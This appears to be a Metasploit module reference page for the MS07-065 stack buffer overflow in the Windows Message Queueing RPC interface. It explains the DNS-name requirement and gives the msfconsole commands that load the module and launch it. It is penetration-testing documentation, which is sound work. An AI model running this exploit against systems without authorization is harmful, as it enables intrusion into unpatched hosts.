MS07-065 Microsoft Message Queueing Service DNS Name Path Overflow



This module exploits a stack buffer overflow in the RPC interface to the Microsoft Message Queueing service. This exploit requires the target system to have been configured with a DNS name and for that name to be supplied in the 'DNAME' option. This name does not need to be served by a valid DNS server, only configured on the target machine.

Module Options

To display the available options, load the module within the Metasploit console and run the commands 'show options' or 'show advanced':

msf > use exploit/windows/dcerpc/ms07_065_msmq
msf exploit(ms07_065_msmq) > show targets
msf exploit(ms07_065_msmq) > set TARGET < target-id >
msf exploit(ms07_065_msmq) > show options
    ...show and set options...
msf exploit(ms07_065_msmq) > exploit

Time is precious, so I don’t want to do something manually that I can automate. Leveraging the Metasploit Framework when automating any task keeps us from having to re-create the wheel as we can use the existing libraries and focus our efforts where it matters.
